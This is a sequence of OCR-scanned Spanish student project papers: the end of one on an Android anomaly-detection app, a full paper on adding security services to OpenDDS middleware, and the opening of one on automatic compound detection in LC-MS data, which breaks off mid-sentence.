listado con todas las entrantes y salientes. Sin embargo, todos
los smartphone ya incorporan un registro o log con dichas
llamadas. Es por ello que para que el usuario se percate de

posibles fraudes econdmicos, se listaran las Ilamadas
salientes que:

e Nunca antes se hayan realizado.

e Sean de tarificacion especial (nimeros premium).

C. Modulo de deteccion de anomalias

La herramienta desarrollada utiliza dos "modelos” de

comportamiento, uno de normalidad y uno heuristico.

El primer modelo se basa en un conjunto de cuatro tablas
creadas y almacenadas sobre la base de datos. La tabla para
elementos hardware almacena vectores i; donde se indican
los estados (on/off) de los dispositivos hardware. La segunda
tabla almacena vectores con el nombre de las aplicaciones en
ejecucion de forma alfabética ejecutdndose en un instante
dado. Finalmente, para conexiones IP se guardaran las
direcciones IP destino, y para llamadas la tabla contendra los
nlmeros marcados.

El segundo modelo consiste en un conjunto de reglas
indicadas por el usuario explicitamente para definir qué
comportamientos son o0 no permitidos.

En resumen, el proceso de deteccién de anomalias consiste
en dos grandes etapas:

e Fase de entrenamiento: a lo largo de ella, se elabora el
comportamiento normal del sistema completando las
tablas de normalidad descritas anteriormente con cada
nuevo valor encontrado. La duracion de esta fase puede
ser de varios dias o incluso semanas, dependiendo del
uso del dispositivo Android. Comienza y termina cuando
son pulsados los botones "On/Off States Register” de
cada aspecto monitorizado.

e Deteccion de anomalias: cuando la etapa de
entrenamiento se ha completado y, en base al modelo
obtenido, se determina la ocurrencia de un
comportamiento andmalo, se notificara al usuario. Los
botones "On/off Notifications” permiten iniciar/parar la
deteccion de anomalias. Ademas, el usuario puede
definir reglas de forma manual utilizando el bot6n "Add
Rule" (estas reglas seran almacenadas en la base de datos
sobre otras cuatro tablas respectivamente). Asi, el
sistema se hara cada vez mas inteligente y fiable.

Suponiendo que la fase de entrenamiento ha sido realizada
y la blusqueda de anomalias para los elementos hardware
(Wi-Fi, GPS, Bluetooth...) activada, el algoritmo
implementado en background se ejecutara de forma periddica
con T=2seg. Este algoritmo ha sido implementado usando un
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elemento de Android llamado Service (componentes sin

interfaz grafica que se ejecutan en segundo plano) y el

proceso seguido es:

1. Actualizar i; con los valores de cada interfaz, utilizando
para ello el médulo de monitorizacion.

2. Comprobar si el vector de estados obtenidos se encuentra
en la base de datos de reglas.

3. Si se encuentra, se muestra una alarma en la barra de
estado y se salta al paso 6, notificando este hecho.

4. Si no se encuentra como regla definida, se compara con
la base de datos de “normalidad”.

5. Si no aparece en esta Ultima, se muestra una alarma en la
barra de estado. En caso de que el usuario decidiese ante
esta alarma que el evento reportado es normal, se
almacenaria el vector en la base de datos de normalidad,
considerando este estado a partir de ahora como valido.
En caso contrario, se procederia a su inclusién como
regla en la base de datos de heuristica.

Para la deteccion en aplicaciones, los pasos 1-5 son
similares pero comparando el vector de aplicaciones con las
dos tablas correspondientes a estas. Ademas, se lanzara una
notificacion cuando se instale o actualice una aplicacion,
dado que muchas aplicaciones maliciosas se instalan
ocultamente o se conectan a la red para actualizarse e
inyectar codigo malicioso (re-envasado).

También para las comunicaciones los pasos anteriores son
similares (se comparan direcciones IP destino y numeros
telefonicos con las base de dato de normalidad y heuristica).
Ademas dee ello, en conexiones IP se genera una alarma
cuando el tréfico real supere el promedio estimado en
entrenamiento en un factor 3. Para llamadas, la notificacion
se produce si se establece una comunicacion con un ndmero
premiun.

V. PRUEBAS Y RESULTADOS

Una vez desarrollado e implementado el sistema en un
dispositivo real, se han realizado distintas pruebas al software
con el fin de localizar fallos dentro de este. Son definidas
como “pruebas que tienen como objetivo verificar la
funcionalidad y estructura de cada componente”. De este
modo, podra hacerse una valoracion conjunta de todos los
servicios ofrecidos por la aplicacion. Algunas de dichas
pruebas son:

Prueba 1. Verificar la correcta creacion de los ficheros de
almacenamiento.

Prueba 2. Comprobar si los botones de monitorizacién
ejecutan las correspondientes Activities (representan el
componente principal de la interfaz grafica de una aplicacion
Android y, por tanto, son usadas durante la implementacion
para cada ventana grafica) sin error y si los botones de
deteccion funcionan correctamente.

Prueba 3. Comprobar si las interfaces gréficas de
dispositivos, gréaficas, aplicaciones instaladas, aplicaciones en
ejecucion, comunicaciones establecidas y llamadas muestran
informacion fiable, real y de forma rapida.

Prueba 4: Verificar si la adicion,
visualizacion de reglas es correcta.

eliminacién y
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Prueba 5. Verificar si la deteccién correspondiente a cada
sub-mddulo se realiza correctamente.

Prueba 6. Verificar la creacién del perfil tipico de usuario
mediante una fase de entrenamiento de siete dias. Tras este
tiempo, comprobar la notificacion de comportamientos
anomalos.

Prueba 7. Verificar un consumo de bateria adecuado:

1. Cargar el dispositivo mdvil al nivel méas alto de bateria
y calcular el tiempo trascurrido hasta agotarla (en
gjecucion habrd una lista de aplicaciones cuyo
consumo es regular y constante).

2. Volver a cargar el dispositivo mévil al nivel méas alto
de bateria y ejecutar ahora la aplicacion desarrollada,
lanzando los servicios en background.

Tras su ejecucion, hay que decir que todas las pruebas
presentadas anteriormente han arrojado un resultado positivo.
La deteccidn de realiza de forma rapida y eficiente, al tratarse
de algoritmos no demasiado complejos. Tras haber realizado
una fase de entrenamiento de siete dias, los resultados
obtenidos en cuanto a notificacion de alarmas ha sido
correcta y bastante variada. Se han registrado 423 entradas
correspondientes a conexiones IP, 19 a llamadas, 21 a
dispositivos y 56 a aplicaciones. EI consumo de la aplicacion
no es demasiado elevado, por lo que el tiempo configurado
para la blsqueda de comportamientos sospechosos es el
adecuado. La diferencia entre ambas duraciones de bateria
fue minima: 1 dia, 7 horas y 35 minutos frente a 1 dia, 6
horas y 3 minutos.

VI. CONCLUSIONES Y LINEAS FUTURAS

A pesar de haber cumplido los objetivos inicialmente
propuestos, la herramienta implementada es mejorable y
ampliable en diversos aspectos. Las mejoras mas importantes
se refieren al mddulo de deteccién de anomalias:

e Desarrollo de un sub-médulo capaz de realizar
deteccion de anomalias teniendo en cuenta la
combinacion de  dispositivos, aplicaciones 'y
comunicaciones.

e Llevar a cabo la deteccién de anomalias teniendo en
cuenta los permisos de cada una de las aplicaciones
instaladas.

e Es de considerar la instalacion de un servidor al que
enviar los datos monitorizados del dispositivo movil.
Aquel se encargaria de procesar y analizar la
informacién mediante algoritmos méas complejos al no
existir  limitaciones de bateria, cOmputo o
almacenamiento. Una vez analizado el
comportamiento del dispositivo, el servidor reportard
un informe con las posibles situaciones andmalas.
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Resumen—En la iltima década se ha vivido un crecimiento
sin precedentes del nimero de dispositivos interconectados,
estos sistemas son cada vez mas distribuidos. Este tipo de
sistemas estd tomando especial relevancia en detrimento de los
servicios centralizados tradicionales. Hace unos afios surgié un
estandar para sistemas distribuidos de tipo middleware llamada
Data Distribution Service (DDS). DDS no contempla en su
especificacion ningin aspecto de seguridad basico, esta tarea ha
recaido sobre las empresas de software que comercializan esta
tecnologia. Con este proyecto se pretende el diseiio, desarrollo y
puesta en marcha de una solucion de seguridad alternativa. El
prototipo desarrollado ratifica el éxito del mismo, culminando
todos los objetivos marcados y reiterando la necesidad de los
servicios de seguridad en este tipo de sistemas.

Palabras clave—Data Distribution Service, Internet of Things,
Logical Key Hierarchy, Object Management Group, Real Time
Publish-Subscribe.

1. INTRODUCCION

OS sistemas distribuidos involucran la interaccién entre

una gran cantidad de entidades independientes. DDS[?]
facilita a los desarrolladores usar las redes comerciales ac-
tuales para la distribuciéon de datos periddicos con estrictos
pardmetros de calidad de servicio. Es una solucién mads
econdmica que el resto ya que evita la inversién en nuevas
redes y componentes. Ademds, simplifica la integracién y
gestién de sistemas de tiempo real conjuntamente con otros
sistemas de red empresariales.

La aplicacién de estos sistemas va mas alld de conectar
dispositivos domdticos, ya que ofrece un enorme grado de
libertad a la hora de desarrollar cualquier tipo de sistema
distribuido. Estos sistemas ya han sido implantados en muchos
entorno de importantes empresas y organizaciones a nivel
mundial. Este hecho garantiza la importancia de este tipo de
sistemas y a su vez la necesidad de su desarrollo y evolucién.

La seguridad de la informacién en sistemas distribuidos es
compleja. La mayoria de las tecnologias de seguridad vigentes
no son validas. Concretamente, DDS no contempla en su
especificaciéon mecanismos de seguridad de la informacion. El
problema del disefio de la seguridad en un sistema de estas
caracteristicas radica tanto en el gran nimero de entidades
que lo forman como en las complicadas relaciones entre ellas.
Ademais, hay que conseguir seguridad sin perder eficiencia ni
afectar las comunicaciones.

Hasta ahora las empresas que han necesitado un minimo
nivel de seguridad la han tenido que implementar ellos
mismos, con todo el esfuerzo que esto acarrea. Los de-
sarrolladores pueden elegir entre comprar alguna solucién

comercial, desarrollar la seguridad para su sistema especifico
0 no implementar seguridad.

Usar un sistema DDS con ninguna seguridad es aceptable
en ciertos dmbitos, pero nunca recomendable. Si se despliega
en la prictica un sistema distribuido militar sin seguridad,
podria ocurrir que algin intruso sin autorizacién accediera
al sistema y realizase acciones dafiinas. En la Figura ?? se
observa un intruso en el sistema distribuido que actda como
publicador de 6rdenes.

Sobra decir que el ejército utiliza su propia implementacién
de DDS con seguridad de alto nivel. Esto permite observar el
alcance de las consecuencias de no incluir seguridad en sis-
temas DDS. Nuestro sistema se ve indefenso frente a alguien
que publique drdenes incorrectas o recolecte informacion.

II. ESTADO DEL ARTE

DDS se especifica con la intencién de proporcionar una
poderosa herramienta a los desarrolladores acorde con los
sistemas actuales. Histéricamente han existido sistemas sim-
ilares a DDS con el mismo propdsito desde el afio 2004,
propiedad de diversas empresas e incompatibles entre si.
Gracias a este estandar abierto del consorcio OMG se rompe
con estas incompatibilidades, proponiéndose un modelo a
seguir. Esto es muy beneficioso para la industria ya que
propicia el desarrollo de los sistemas distribuidos, mejorando
su desempefio y evolucion.

Se contempla la calidad de servicio (QoS) de sistemas
de tiempo real. Es de tipo publicacién/suscripcion. Este

Intruso
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Fig. 1. Esquema DDS militar con intruso.
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paradigma es novedoso en la industria y se identifica a la
perfeccién con sistemas de informacion distribuida. Divide
las entidades en dos grupos: publicadores y suscriptores.
Los publicadores son los que “producen” la informacién y
los suscriptores los que la “consumen”. En la Figura ??
se observa un ejemplo sencillo del funcionamiento ideal de
este paradigma. Los publicadores escriben la informacién en
una zona de datos compartidos, llamada Global Data Space
(GDS), y los suscriptores interesados la leen.

Para utilizar el middleware DDS una empresa podria 11-
evar a cabo la implementacién completa a partir de las
especificaciones de OMG. Este proceso es muy costoso y no
merece la pena porque existen multitud de implementaciones
disponibles desarrolladas por vendedores. Algunos vende-
dores lo hacen con dnimo de lucro para obtener beneficios
comercializando la solucién. Otros liberan gratuitamente la
implementaciéon y la empresa se encarga de vender soporte
y asistencia ténica. Estos vendedores en general implementan
la soluciéon DDS propuesta por el OMG, pero cuentan cada
uno con diferentes caracteristicas y son dificilmente inter-
operables. S6lo dos vendedores proporcionan mecanismos
de seguridad bdésicos. En particular, RTI proporciona poca
informacién respecto a como ha implementado la seguridad
en sus sistemas.

III. ANALISIS DE REQUISITOS

Mediante la especificacién de los requisitos se pretende
mostrar las necesidades que debe satisfacer el proyecto para
su desarrollo satisfactorio. Los requisitos estan escindidos en
dos categorias: funcionales y no funcionales.

A. Requisitos Funcionales

« El sistema debe garantizar al menos los tres servicios de
seguridad basicos: confidencialidad, integridad y auten-
ticacion[?].

« El sistema debe proporcionar las herramientas suficientes
para la gestion correcta de la seguridad del sistema.

« Al menos la gestién de funciones criptograficas debe ser
modular y extensible para que su modificacién no afecte
al funcionamiento del sistema. Ademads, es deseable

Publicador
Escribe
Lee
Dominio - GDS
TEMA: “Temperatura” (
TEMA: “Velocidad” l
Lee
Escribe
Publicador Suscriptor

Fig. 2. Esquema de funcionamiento 16gico de sistema DDS.

que se pueda cumplir el tratado de armas internacional
vigente en diferentes areas geograficas, asi como facilitar
la inclusién de nuevos algoritmos criptograficos.

o El sistema debe cumplir los estrictos requisitos de
tiempo real de este tipo de sistemas, no perjudicando
su rendimiento en ningin caso.

« El sistema debe funcionar exitosamente en al menos una
implementacién de un vendedor de DDS.

B. Requisitos No Funcionales

« El cédigo debe ser extensible con el objetivo de facilitar
futuras mejoras.

o El cédigo debe ser reutilizable para que sea adaptable a
multiples sistemas. Se determina que es deseable seguir
el patrén de programacién estructurada.

« Las bibliotecas que se utilicen deben ser opcionales e
independientes al sistema general.

« El sistema debe estar programado en un lenguaje que
funcione eficientemente en multitud de arquitecturas.

« Se debe garantizar como minimo que la implementacién
sea compilable con el compilador GNU GCC y que se
ejecute exitosamente en sistemas Linux.

IV. PLANIFICACION

Para afrontar un proyecto de tal magnitud es necesario
dividir el trabajo en diferentes tareas y asociar a cada una
un tiempo para su realizacion. Las tareas principales son las
siguientes:

« Revision del estado del arte. Con esta tarea se pretende
familiarizarse con el contexto del proyecto, estudiar
los antecedentes del problema planteado y conocer las
soluciones existentes en la actualidad.

e Disefio de la solucién 6ptima. Esta tarea comprende
todo el estudio y desarrollo teérico necesario para la
resolucién del problema.

o Implementacién de la solucién Optima. Esta tarea com-
prende todas las labores de desarrollo necesarias para
conseguir una implementacién vélida de la solucién.

o Prueba y evaluacién. Esta tarea contempla todas las
pruebas y evaluaciones de la solucién implementada en
entornos reales.

o Documentacion del proyecto. Esta tarea comprende todo
lo relacionado con la elaboracién de la memoria del
proyecto.

Se toma como fecha de inicio principios de noviembre

y fecha de finalizacién mediados de junio. Partiendo de la
divisiéon de tareas se construye el diagrama de Gantt del
proyecto, donde de forma mucho mas visual se presenta la
planificacién de todas las tareas a lo largo del tiempo.

A. Recursos

Los recursos se dividen en dos grupos: recursos de personal
y recursos materiales. El personal implicado con este proyecto
ha sido el alumno D. Noé Fernandez Llamas y el profesor Dr.
D. Pedro Garcia Teodoro en calidad de tutor. Respecto a los
recursos materiales, se distinguen dos tipos principalmente:
Hardware y software. El dispositivo hardware mas destacable
ha sido el ordenador personal del alumno y en lo referente al
software la totalidad es gratuito de tipo software libre.
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Tabla I
COSTE DE LOS RECURSOS HUMANOS.

[ Concepto  Coste/Tiempo  Cantidad Total |
Desarrollo 20 €/h 640h 12800€
Supervision 100 €/h 17h 1700€

Total: 14500€
Tabla II
PRESUPUESTO TOTAL DEL PROYECTO.
[ Concepto | Cantidad |
Recursos de Personal 14500€
Recursos Materiales 60€
Gastos Indirectos 200€
Total 14760€

B. Estimacion de Costes

Para hacer la estimacién de costes se vuelve a diferenciar
segin el tipo de recursos. La duracién total para la ejecucion
del proyecto es de 8 meses. Se considera que el autor ha
empleado de media una jornada laboral de 4 horas, de lunes
a viernes. Por lo cual se computan 640 horas de trabajo. Las
reuniones del autor con el tutor han tenido lugar con una
frecuencia de una cada dos semanas, es decir, dos reuniones
al mes. De media una reunion suele durar 1 hora. Descontando
festivos, el tutor ha computado aproximadamente 17 horas de
trabajo. En la Tabla ?? se ve detallado el coste aproximado
que representan los gastos de personal.

Respecto al coste de los recursos materiales, el principal
objeto a tener en cuenta es el equipo informdtico donde
se desarrollara el proyecto: un ordenador convencional. Para
calcular el coste se hace una estimacién del tiempo de vida
de un ordenador de estas caracteristicas y se calcula un precio
aproximado segin el uso del mismo durante el proyecto.

C. Presupuesto Total

El precio total del proyecto asciende a 14760€, CATORCE
MIL SETECIENTOS SESENTA EUROS. En la Tabla ?? se
puede observar el desglose global del presupuesto.

V. DISENO DE LA SOLUCION

(Coémo debe ser cada uno de los componentes del sistema
para que este funcione en su conjunto satisfactoriamente? El
disefio del sistema que proveerd los servicios de seguridad
sigue un desarrollo independiente del software que soporta
los sistemas distribuidos.

En primer lugar es necesario realizar un estudio del entorno
objetivo del disefo, didndose especial interés al vendedor
OpenDDS[?]. Se consigue asi esclarecer y situar el médulo
de seguridad dentro del esquema de un sistema distribuido.
Seguidamente se analizan los agentes que intervienen en este
vendedor, ya que el moédulo se tendrd que adaptar segiin
sus caracteristicas. Se prosigue plantedndose el mdédulo de
manera tedrica. Para abordar esta tarea satisfactoriamente se
subdivide el médulo en diferentes componentes que trabajaran
conjuntamente para la provisién de servicios de seguridad.

El médulo de seguridad pretendido provee con éxito las car-
acteristicas de seguridad deseadas para un sistema distribuido.
A continuacién se analiza como se proporciona cada aspecto
independientemente:
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« Autenticacion. Mediante el uso de claves asimétricas, el
cliente tiene un par y el repositorio otro. El repositorio
tiene almacenada claves publicas de los clientes e infor-
macién acerca de estos.

o Autorizacién. Asociada a la clave publica de un cliente
hay informacién acerca de los permisos sobre los recur-
SOs que posee.

o Integridad de los datos. Para garantizar la integridad de
los datos se hace uso de funciones resumen o hash.
Estas operan sobre los datos previos a su envio; a su
llegada se calcula de nuevo el resumen y se comprueba.
El cédigo hash se protege con las credenciales de los
clientes para que permanezca inalterado. Este proceso se
conoce comunmente como firma digital.

o Confidencialidad. Esta caracteristica se garantiza ha-
ciendo uso de una clave de sesién simétrica dindmica
en el tiempo por tema. Solo los clientes autorizados
tienen acceso a esta clave; para el resto la informacion
serd ilegible. Se provee confidencialidad hacia adelante
y hacia atrds, restringiendo la lectura de la informacién
al rango de tiempo autorizado por el repositorio.

« Disponibilidad. Esta caracteristica es inherente a DDS.
Un sistema de este tipo posee los mds altos estdndares de
disponibilidad de facto, garantizandose en todo momento
los requisitos de tiempo real que necesite el usuario. Los
repositorios de seguridad garantizan su disponibilidad
gracias a que su arquitectura es federada.

« No repudio. Se garantiza no repudio de origen mediante
la firma de los datos con las credenciales del publicador.
El no repudio de destino no estd garantizado a priori, ya
que estos sistemas no son orientados a conexién y pueden
contar con un nimero elevado de entidades destino.

o Gestion de la identidad. Se provee gracias a dos her-
ramientas dedicadas. La primera, la entrada de terminal
y la segunda, un potente entorno grafico de interfaz de
usuario que permite la gestion de un gran numero de
entidades de forma eficiente.

A. Planteamiento

El mddulo deseado se encargard de localizar el recurso
en la red jerarquizada de servidores de seguridad, autorizar
el acceso al cliente, proporcionarle las credenciales del tema
en concreto y el resto de funciones de seguridad necesarias.
Debe funcionar conjuntamente con el sistema OpenDDS pero
sin afectarlo de ninguna forma. En la Figura ?? se observa
cémo quedaria el esquema de comunicaciones OpenDDS tras
afiadirle el médulo de seguridad.

El médulo se integra junto a las demds capas subyacentes
a la capa de aplicacién en el modelo de referencia por capas
TCP/IP. La carga de operaciones y comprobaciones debe
balancearse para el lado del servidor de seguridad, siendo lo
mads liviano y sencillo para el lado del cliente.

V1. IMPLEMENTACION DE LA SOLUCION

El desarrollo de sistemas para la provision de servicios
de seguridad en sistemas distribuidos de tiempo real es una
tarea compleja. Las entidades entran y salen del sistema
de forma muy dindmica y los retardos en la provisién y
distribucién de las claves son especialmente notables y pueden
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llegar a repercutir en el sistema. Por ello, el desarrollo tiene
como méixima ser lo mas eficiente posible y evitar alterar el
rendimiento del sistema en su conjunto. Se determina asi el
lenguaje de programacién C++ porque cuenta con una serie
de ventajas que lo hacen idoneo para este proyecto.

Para garantizar portabilidad méaxima se hace uso de la
biblioteca estandar de C++ y diversas librerias abiertas multi-
plataforma. Para el uso de caracteristicas de mas bajo nivel
se procederd segtn la familia de estdndares POSIX (Portable
Operating System Interface X)[?], de llamadas al sistema
operativo definido por IEEE (Institute of Electrical and Elec-
tronics Engineers).

La implementacién del proyecto es de gran magnitud y
de nuevo se hace necesario escindir tedricamente el médulo
de seguridad en dos agentes: el repositorio y el cliente.
Para la implementacion de estos dos agentes se propone tres
lineas desarrollo independientes. La primera llamada SecuRe-
poDDS, hace referencia a la parte del médulo situado en el
servidor de seguridad. La segunda llamada SecuClientDDS,
hace referencia a la parte del médulo situado en la entidad
publicadora/suscriptora. La tercera, llamada SecuRepoMan-
ager, hacer referencia al gestor de identidades del moédulo
de seguridad. En la Figura ?? se ve donde se sitdan estos
tres elementos dentro del esquema del sistema distribuido
OpenDDS.

Para poder afrontar la implementacién del médulo es nece-
sario seguir desacoplando los diferentes elementos de estas
lineas de desarrollo. Se definen médulos comunes entre las
tres aplicaciones, haciéndose mas eficiente el desarrollo. En
la Figura ?? se muestran los diferentes bloques que integran
cada linea de desarrollo.

SecuClientDDS es el elemento del médulo de seguridad
que finalmente proporciona los servicios de seguridad a la
entidad publicadora/suscriptora. Los servicios de seguridad se
ofrecen segtin se ha visto anteriormente; en la implementacién
simplemente se cumplen las tareas definidas el capitulo de
disefio. No se analiza a nivel de desarrollo si una clase o
método de programacién proporciona seguridad, ya que estos
elementos son de muy bajo nivel y ofuscan la verdadera in-
tencién del mddulo. Si el framework y los protocolos definidos
son correctos, la implementacién proveerd los servicios de
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Fig. 3. Sistema con el médulo de seguridad.

seguridad deseados.

VII. PRUEBA Y EVALUACION

Se prosigue con la realizacién de una bateria de pruebas
con el propdsito de comprobar que el desarrollo se ha llevado
a cabo correctamente y que alcanza los objetivos inicial-
mente marcados por el proyecto. Como es ldgico, durante
el desarrollo el proyecto se ha ido sometiendo a diferentes
pruebas para ir verificando su avance, pero hasta ahora no
se ha sometido a una bateria de pruebas completa de esta
magnitud. Gracias a este conjunto de diferentes pruebas que se
realizan se podra hacer un diagndstico completo del resultado,
evaluando si se ha logrado la meta inicial propuesta para cada
una de las caracteristicas.

En primer lugar se prueba de forma completa el fun-
cionamiento de la interfaz de administracién, procurando
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Fig. 4. Esquema de OpenDDS con los tres elementos que componen el
modulo de seguridad.

'¢ -~
' Servidor de Seguridad ‘:
" '
1 1
] 1
]
' SecuRepoDDS |[|ConfigRepo|| Data | | Crypt :
' '
[} ]
A} ’
S m e e .. ... .. .. .. ... ... .-.----- R4
-’ Y TS ST EEEEEESESEEEEEE® N‘
’ . . .
! Cliente de Seguridad \
' "
' 1
1 ]
' . . . '
' SecuClientDDS ConfigClient Crypt ,
: '
‘, e e e e c e e e c e e e e e ecccccceceaaa 'l'
PR RE= i -
4 . .. .
! Administracion '
' de Seguridad :
' "
' 1
1
. SecuRepoManager Data "
' '
1 1
A 4
~ k4

Fig. 5. Esquema de bloques agrupados de la implementacién del médulo de
seguridad.
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demostrar que funcionan todas y cada una de las op-
ciones disponibles. Seguidamente, se prueba el correcto fun-
cionamiento del algoritmo de gestién de claves implementado
basado en el arbol LKH. Para ello, se analiza lo que sucede en
el repositorio del médulo de seguridad cuando diez clientes se
adhieren a un mismo grupo ordenadamente. Para finalizar, se
realiza un estudio del funcionamiento del médulo al completo,
analizandose lo que ocurre tras cada evento.

VIII. CONCLUSIONES Y LINEAS FUTURAS

Se detallan las principales conclusiones derivadas de la
elaboracién de este proyecto. Ademads, se sefalan algunas
posibles lineas de trabajo futuras.

A. Conclusiones

« Se ha ideado un planteamiento exitoso sobre la provisién
de los servicios de seguridad en sistemas distribuidos.

o Se ha disefiado con éxito una serie de protocolos y
servicios especificos para la provision de seguridad en
sistemas distribuidos.

« Se ha llevado a cabo con éxito la implementacién del
disefio ideado siguiendo la linea de desarrollo de un
modulo software. Se ha definido un mddulo para las enti-
dades publicadoras/suscriptoras llamado SecuClientDDS
y otro médulo servidor para la gestion de la seguridad
en el sistema llamado SecuRepoDDS. El prototipo con-
seguido es totalmente funcional.

« Se ha planteado, disefiado e implementado un algoritmo
de gestion de claves en grupos multicast eficiente e
idéneo para este tipo de sistemas.

« Se ha disefiado una base de datos relacional de tipo SQL
especifica para este tipo de sistemas.

« Se ha integrado el mddulo de seguridad dentro de una
red jerdrquica federada, formando en su conjunto una red
bastante robusta.

« Se ha implementado un médulo gréfico con una interfaz
muy util para la gestién de la seguridad en el sistema.

« Se ha puesto de manifiesto la importancia de los servicios
de seguridad en los sistemas distribuidos.

o Se ha logrado integrar el médulo de seguridad con los
sistemas distribuidos actuales.

e Se ha validado y evaluado el disefio propuesto
sometiéndose al prototipo del mddulo de seguridad de-
sarrollado a una diversa bateria de pruebas.

B. Lineas de Desarrollo Futuras

No obstante el grado de satisfaccion alcanzado con el desar-
rollo del presente proyecto, este es susceptible de mejorar en
algunos aspectos. En concreto, una de las principales lineas
de desarrollo es la mejora del prototipo para que sea apto
para explotacién comercial. Para alcanzar esta madurez es
necesario pulir diferentes aspectos de la solucién.

Los relacionados con la seguridad tratan sobre todo del uso
de zonas de memoria seguras dentro de la maquina anfitrién,
utilizdndose vectores seguros que protegen la informacion
de lecturas no permitidas dentro de la maquina. Respecto a
mejoras de desempefio seria interesante mejorar el cdédigo
del moédulo para que acepte todo tipo de datos binarios
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de cualquier indole, consiguiéndose una ejecucioén aceptable
en sistemas distribuidos de tipo multimedia. Respecto a los
algoritmos planteados se prevé la mejora del sistema de
gestion de claves, en el cual la distribucion de las claves se
hace en dos pasos. Primero se proporciona la nueva clave a
los suscriptores y en una segunda fase se proporciona a los
publicadores. Esta simple medida paliaria en gran medida las
incoherencias que aparecen entre las entidades producidos por
la variabilidad del retardo en la distribucién de las claves en
el grupo multicast.

No se desea que este proyecto se quede en un mero estudio
académico, desedndose que lo use quien lo desee. Para ello se
ha liberado el cédigo del prototipo bajo licencia GPLv3. Se
hospedard toda la informacién referente al proyecto junto al
c6digo del mismo en un repositorio publico de software libre
llamado GitHub. De esta forma se promueve que cualquier
persona o profesional interesado pueda aportar lo que desee
al proyecto y asi lograr que alcance la madurez necesaria
para uso en entornos reales. Esta decision se toma funda-
mentandose en el hecho de que la seguridad de la informacién
es un problema que afecta a toda la sociedad y la unica
manera de alcanzar este objetivo es si toda la comunidad de
desarrolladores trabaja conjuntamente para alcanzar esta meta
comun.
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Resumen—En este trabajo se ha estudiado la respuesta
instrumental de un sistema de cromatografia liquida acoplada a
espectrometria de masas, con el objetivo de desarrollar una
técnica novedosa para la deteccibn y la caracterizacién
automatica de compuestos en muestras quimicas complejas con
un alto grado de coelucion. Para lograr este objetivo, se han
implementado y evaluado técnicas para la supresion de ruido que
reduzcan el volumen de datos. A su vez, se ha ideado,
implementado y probado una técnica para la supresion de
artefactos quimicos de alta intensidad. Finalmente, se ha ideado,
implementado y evaluado una técnica automatica que permite
detectar y caracterizar compuestos en muestras donde la
cromatografia no sea suficiente para detectar compuestos (alto
grado de coelucion), obteniendo resultados muy satisfactorios
gue demuestran el potencial del uso de la correlaciéon cruzada
para la deteccidn y caracterizacion de compuestos en muestras
analizadas mediante HPLC-ESI-MS/TOF.

Palabras clave— Cromatografia liquida, deteccion automatica
de compuestos, espectrometria de masas, ESI, HPLC, huella
espectrométrica, MS, TOF.

I. INTRODUCCION

A. Contexto del trabajo

Este trabajo se ha desarrollado en el contexto de una
colaboracién entre el departamento de Teoria de la Sefial,
Telematica y Comunicaciones de la Universidad de Granada,
el departamento de Quimica Analitica de la misma universidad
y el Centro de Investigacion y Desarrollo del Alimento
Funcional.

B. Analisis de muestras quimicas

Para comprender el objetivo de este trabajo, en primer lugar
hay que entender que una muestra quimica, por ejemplo unas
gotas de aceite de oliva, estd formada por una variada mezcla
de compuestos (distintos tipos de moléculas) en distintas
concentraciones.

El objetivo del anélisis de una muestra quimica es averiguar
qué compuestos hay presentes en la muestra y con qué
concentraciones. Para alcanzar este objetivo se llevan a cabo
cuatro pasos; en primer lugar se detectan las sefales
correspondientes a los distintos compuestos. Acto seguido, se
caracteriza cada uno de ellos y, segln las caracteristicas
obtenidas, se identifica cada compuesto en las bases de datos
de compuestos conocidos. Finalmente, se puede realizar una
cuantificacion para saber qué concentracion tiene cada
compuesto en la muestra.

Para poder realizar este proceso, en primer lugar hay que
obtener sefiales a partir de la muestra. Las muestras utilizadas
en este trabajo han sido analizadas mediante cromatografia
liquida de alta resolucién (HPLC) acoplada a espectrometria
de masas por tiempo de vuelo (MS/TOF) con una interfaz de
ionizacion por electrospray (ESI). Bésicamente, la
cromatografia permite distinguir los compuestos en el tiempo
y la espectrometria de masas permite distinguirlos en masa.

C. Cromatografia liquida (LC)

El proceso cromatografico se realiza inyectando la muestra,
junto con una fase movil (disolventes), en una columna
separativa (tubo metélico con particulas de silice, conocidas
como fase estacionaria). A su paso por la columna, los
compuestos de la muestra se veran mas atraidos por la fase
mévil (recorren la columna rapidamente) o por la fase fija
(tardan més en salir de la columna). El tiempo en el que salen
los compuestos se conoce como tiempo de retencion.

Es muy importante notar que cada compuesto sale de la
columna de forma continua en el tiempo, con una forma
aproximadamente gaussiana. Este hecho es de vital
importancia en las técnicas desarrolladas en este trabajo. En la
figura 1 (grafica superior) se observa un ejemplo de un proceso
cromatografico donde se distingue la salida de varios
compuestos de la columna separativa en funcién del tiempo.

D. Espectrometria de masas por tiempo de vuelo (MS/TOF)

Los compuestos llegan al espectrometro de forma continua
conforme salen de la columna separativa y sus moléculas son
ionizadas utilizando wuna interfaz de ionizacién por
electrospray (ESI). Los iones formados son conducidos por
varias camaras hasta la zona de aceleracion ortogonal, donde
un campo eléctrico intermitente los impulsa al tubo de vuelo
para medir el tiempo que tardan desde que son impulsados,
hasta que Ilegan al detector, lo que se conoce como tiempo de
vuelo (TOF). Conociendo el tiempo de vuelo de cada ion, dado
que tanto la energia con la que han sido propulsados como la
distancia que han recorrido se mantienen constantes, se puede
calcular la relacién masa/carga del ion.

Hay que tener en cuenta que un compuesto esta formado por
un tipo concreto de moléculas, las que a su vez estan
constituidas por 4&tomos de distintos elementos quimicos (por
ejemplo oxigeno). Los atomos del mismo elemento no tienen
por qué tener la misma masa, ya que pueden pertenecer a un
is6topo u otro del mismo elemento. Este suceso conlleva que
las moléculas de un determinado compuesto no han de tener
siempre la misma masa, ya que cada variante isotdpica tendra
una masa distinta.
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Figura 1. Ejemplo del cromatograma de ion total y del espectrograma de

una muestra simple.

Ademas, la ionizacion de las moléculas puede provocar una
serie de efectos adversos como la fragmentacion, ionizacion
multiple y clustering, que suponen la aparicidn de iones con
una masa distinta a la del ion principal.

Por lo tanto, cada compuesto tendra presencia en un rango
temporal concreto pero en multiples relaciones masa/carga.
Cada agrupacion de entradas con igual relacién masa/carga se
conoce como especie ionica del compuesto. El conjunto de
todas las especies idnicas que aparezcan por la presencia de un
compuesto es conocido como la huella espectrométrica del
mismo y es una caracteristica propia de dicho compuesto. En
la figura 1 se pueden distinguir varios compuestos (gréfica
superior) y sus huellas espectrométricas (grafica inferior).

Gracias al acoplamiento entre las técnicas anteriores
(cromatografia liquida con espectrometria de masas),
obtenemos un volumen muy elevado de entradas con tres
